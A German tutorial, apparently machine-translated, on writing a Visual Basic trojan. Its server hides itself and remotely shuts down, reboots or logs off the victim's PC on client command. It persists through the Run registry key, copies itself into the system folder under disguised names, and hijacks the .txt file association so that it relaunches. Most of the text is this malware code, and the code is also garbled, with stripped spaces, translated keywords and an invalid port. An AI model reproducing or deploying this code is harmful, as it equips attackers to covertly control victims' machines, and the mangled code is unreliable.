Erstellen Sie zunächst ein neues Projekt mit dem Namen Server, erstellen Sie ein neues Formular mit Name als Server, fügen Sie dem Formular ein Winsock-Steuerelement hinzu, setzen Sie Name auf sckServer und stellen Sie das Protokoll auf das Standard-TCP/IP-Protokoll ein.
Als nächstes kehren wir zum Server-Formularmodul zurück und fügen den folgenden Code hinzu:
->PRivateSubform_Load()
Mit mir
.sckServer.LocalPort=88917'Lokaler Port (haha! Mein Geburtstag!)
.sckServer.Listen'Mit dem Zuhören beginnen
EndWith
EndSub
'Akzeptieren Sie die Verbindungsanfrage des Clients.
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
Mit mir
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(requestID)
EndWith
EndSub->
Als nächstes erstellen wir ein Client-Programm: Erstellen Sie ein neues Projekt mit dem Namen Client, benennen Sie das Formular Client, fügen Sie ein Winsock-Steuerelement mit dem Namen sckClient hinzu, und das Protokoll ist das TCP/IP-Protokoll. Fügen Sie eine weitere Schaltfläche „cmdConnect“ hinzu und fügen Sie Code zum Formularmodul hinzu:
->PrivateSubform_Load()
Mit mir
.sckClient.RemoteHost=127.0.0.1'Legen Sie die Remote-IP fest. In diesem Beispiel legen Sie sie auf den lokalen Computer fest.
.sckClient.RemotePort=88917'Remote-Port ist derselbe wie die Einstellung im Server.
EndWith
EndSub
PrivatesubcmdConnect_Click()
SckClient.Connect
Endsub->
Wenn wir zu diesem Zeitpunkt auf die Schaltfläche „Verbinden“ klicken, können unsere beiden Projekte kommunizieren, sie sind jedoch nicht sichtbar. Sie können Code zum sckClient_Connect-Ereignis im Client hinzufügen: debug.printConnetionsuccessful!
Dies ist nur der erste Schritt und es ist überhaupt keine Arbeit erledigt. Fügen wir ihnen Funktionalität hinzu. Der Einfachheit halber werden in diesem Artikel nur einige kleine Funktionen implementiert: Herunterfahren, Neustart und Abmelden. Okay, fangen wir an!
Erstellen Sie im Serverprojekt ein neues Modul mit dem Namen modApi. Dieses Modul enthält einige API-Funktionen.
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
PublicTypeRECT
LeftAsLong
TopAsLong
RightAsLong
BottomAsLong
EndType->
Hinweis: Bei der Programmierung zwischen zwei Sockets ist das DataArrival-Ereignis das wichtige Ereignis für die Kommunikation, das zum Empfangen von Remote-Daten verwendet wird.
Fügen Sie als Nächstes drei Schaltflächen in das Client-Formular des Client-Projekts ein, nämlich cmdExit, cmdLogoff und cmdReboot. Sie werden zum Remote-Herunterfahren, Abmelden und Neustarten verwendet. Fügen Sie jeweils die folgenden Codes hinzu:
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
EndSub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
EndSub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
EndSub->
Alle Anfragen werden an den Server gestellt. Gehen Sie nun zum Serverprojekt: Fügen Sie das DataArrial-Ereignis von sckServer im Server hinzu, um die Anfrage des Clients zu empfangen.
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
Mit mir
„Vom Kunden angeforderte Informationen erhalten.“
.sckServer.GetDatastrData
Wählen Sie CasestrData aus
CaseExit
'Abschalten
CallExitWindowXXX(EWX_SHUTDOWN,0)
CaseReboot
„Neustart
CallExitWindowXXX(EWX_REBOOT,0)
CaseLogoff
'Abmelden
CallExitWindowXXX(EWX_LOGOFF,0)
EndSelect
EndWith
EndSub->
Okay, jetzt haben wir die Funktion implementiert, aber noch nicht, wir wollen, dass sie hinter den Kulissen läuft. Das ist ganz einfach: Fügen Sie einen Satz hinzu: me.hide zum form_Load-Ereignis auf dem Server. Glücklicherweise ist es jetzt unsichtbar, aber jeder weiß, dass der Trojaner automatisch ausgeführt wird, sobald der Computer eingeschaltet wird. Warum ist das so und wie wird es erreicht? Zur Startgruppe in der Registrierung hinzufügen? Ja gut, komm mit!
Gehen Sie zurück zu modApi im Serverprojekt und fügen Sie die folgende API-Funktion hinzu:
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
Ein Prozess, der in die Startgruppe der Registrierung schreibt.
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString
sKey=Systrsy'Starten Sie den Schlüssel in der Gruppe und suchen Sie einen, der der Systemdatei ähnelt.
sKeyVal=C:/windows/system/systrsy.exe'Der Pfad der Trojaner-Datei Sie können GetSystemDirectory verwenden, um den Systempfad abzurufen.
result=RegOpenKey(HKEY_LOCAL_MACHINE,_
Software/Microsoft/Windows/CurrentVersion/Run,hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
EndIf
EndSub->
Nun, das ist es. Aber haben Sie jemals darüber nachgedacht, ob unsere harte Arbeit nicht umsonst wäre, wenn Sie kein Neuling sind und es aus der Registrierung löschen? Nein, Sie müssen es unmöglich machen, es zu löschen, selbst wenn er es findet. Bitte schauen Sie sich den folgenden Code an:
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey=txtfile/shell/open/command
skeyVal=C:/windows/system/txtView.exe
result=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
EndIf
EndSub->
Viele Freunde müssen auf den ersten Blick gewusst haben, dass es ursprünglich mit der TXT-Datei zusammenhängt, was überhaupt nicht schlecht ist, aber wo kommt C:/windows/system/txtView.exe her? Unser Trojaner ist C:/windows/system /systrsy.exe. Dies ist der Klon unseres Trojanischen Pferdes.
Okay, gehen Sie zurück zum Formular „form_Load“ des Server-Formulars des Server-Projekts und fügen Sie den folgenden Code hinzu:
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/system
OnErrorResumeNext
'Kopieren Sie die Datei nach Systrsy.exe im Systemverzeichnis
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumeNext
Kopieren Sie die Datei nach txtView.exe im Systemverzeichnis
FileCopysCurrentPath,sSystemDir&/txtView.exe->
Anruf
->CallstartupGroup
CallWriteToTxt
'Stellen Sie fest, ob das Programm ausgeführt wird
IfApp.PrevInstanceThen
'Beenden, falls bereits ausgeführt.
Ende
EndIf->
Beachten:
1. Beim Umgang mit Ports ist es am besten, High-End-Ports zu verwenden, da es sonst zu Konflikten mit einigen häufig verwendeten Ports kommt.
2. Wenn Sie VB.NET zum ersten Mal verwenden, lesen Sie am besten relevante Bücher.
->
Im Folgenden erfahren Sie, wie Sie mit Visual Basic Trojaner-Angriffe verhindern können. Ich hoffe, Sie alle kennen sich selbst und den Feind und treffen Vorkehrungen, bevor sie passieren!